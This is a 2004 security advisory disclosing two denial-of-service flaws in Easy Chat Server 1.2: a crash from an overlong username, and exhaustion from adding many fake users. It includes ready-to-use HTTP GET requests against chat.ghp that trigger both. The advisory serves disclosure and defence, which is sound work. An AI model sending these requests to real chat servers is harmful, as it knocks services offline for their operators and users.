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Multiple Vulnerabilities in Easy Chat Server 1.2
From: "Donato Ferrante" <fdonato () autistici org>
Date: Fri, 2 Jul 2004 08:46:35 -0000


                           Donato Ferrante


Application:  Easy Chat Server
              http://www.echatserver.com/

Version:      1.2

Bugs:         Multiple Vulnerabilities

Date:         02-Jul-2004

Author:       Donato Ferrante
              e-mail: fdonato () autistici org
              web:    www.autistici.org/fdonato



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1. Description
2. The bugs
3. The code
4. The fix



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1. Description:
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Vendor's Description:

"Easy Chat Server is a easy, fast and affordable way to host and manage
your own real-time communication software, it allows friends/colleagues
to chat with you through a Web Browser (IE, Netscape, Mozilla, Opera
etc.) on any computer (Windows, Linux, Solaris...) without any special
plug-ins or software. It can help you setup your community chat rooms,
collaborative work sessions or online meetings."



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2. The bugs:
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The program has two DoS vulnerabilties, due to:

- long username
- fake users


[1] The program doesn't correctly manage the username, in fact if you
    try to send a big username string to the server it will crash.


[2] The program has no strong checks on the users who join into free
    rooms. In fact it's possible to add a large number of fake users
    and the chat server will go down.



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3. The code:
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To test the vulnerabilities:

[1] 
    GET /chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0
    Host: http://[host]

[2] 
    GET /chat.ghp?username=FakeUser&password=&room=1&sex=0
    Host: http://[host]
    ( this will add a fake user with name: FakeUser )



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4. The fix:
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Vendor was contacted.
Bugs will be fixed in the next version.



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